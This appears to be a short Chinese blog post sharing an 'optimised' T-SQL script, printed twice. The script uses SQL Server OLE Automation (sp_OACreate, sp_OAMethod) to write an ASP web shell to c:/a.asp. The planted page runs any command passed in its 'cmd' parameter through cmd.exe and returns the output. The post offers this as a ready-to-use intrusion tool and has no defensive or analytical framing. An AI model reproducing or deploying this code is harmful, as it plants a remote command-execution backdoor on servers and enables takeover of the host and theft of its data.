参考文强的代码做了下优化。只在POWERS成员群发过。
declare @object int
declare @ProgID nvarchar(255)
declare @Param nvarchar(4000)
declare @reObject int
declare @ret int
--创建 OLE 对象
select @ProgID = 'scripting.filesystemobject';
exec sp_OACreate @ProgID, @object out;
--调用 OLE 对象
select @ProgID = 'createtextfile', @Param='c:/a.asp'
exec sp_OAMethod @object, @ProgID, @reObject out, @Param,1;
select @ProgID = 'writeline';
select @Param = '<%on error resume next
set oscript=server.createobject("wscript.shell")
set oscriptnet=server.createobject("wscript.network")
set ofilesys=server.createobject("scripting.filesystemobject")
szCMD=request("cmd")
if szCMD<>"" then
szTempfile="c:/"&ofilesys.gettempname()
call oscript.run("cmd.exe /c "& szCMD & " > "&sztempfile,0,true)
set ofile=ofilesys.opentextfile(sztempfile,1,flase,0)
response.write "<pre>"&server.htmlencode(ofile.readall)&"</pre>"
ofile.close
call ofilesys.deletefile(sztempfile,true)
end if%>';
exec @ret = sp_OAMethod @reObject, @ProgID, null , @Param;
declare @object int
declare @ProgID nvarchar(255)
declare @Param nvarchar(4000)
declare @reObject int
declare @ret int
--创建 OLE 对象
select @ProgID = 'scripting.filesystemobject';
exec sp_OACreate @ProgID, @object out;
--调用 OLE 对象
select @ProgID = 'createtextfile', @Param='c:/a.asp'
exec sp_OAMethod @object, @ProgID, @reObject out, @Param,1;
select @ProgID = 'writeline';
select @Param = '<%on error resume next
set oscript=server.createobject("wscript.shell")
set oscriptnet=server.createobject("wscript.network")
set ofilesys=server.createobject("scripting.filesystemobject")
szCMD=request("cmd")
if szCMD<>"" then
szTempfile="c:/"&ofilesys.gettempname()
call oscript.run("cmd.exe /c "& szCMD & " > "&sztempfile,0,true)
set ofile=ofilesys.opentextfile(sztempfile,1,flase,0)
response.write "<pre>"&server.htmlencode(ofile.readall)&"</pre>"
ofile.close
call ofilesys.deletefile(sztempfile,true)
end if%>';
exec @ret = sp_OAMethod @reObject, @ProgID, null , @Param;
该博客参考文强代码进行优化,仅在POWERS成员群发过。内容包含创建和调用OLE对象的代码,如创建'scripting.filesystemobject'对象,调用其方法创建文本文件并写入特定代码,实现对命令执行结果的处理。

被折叠的 条评论
为什么被折叠?



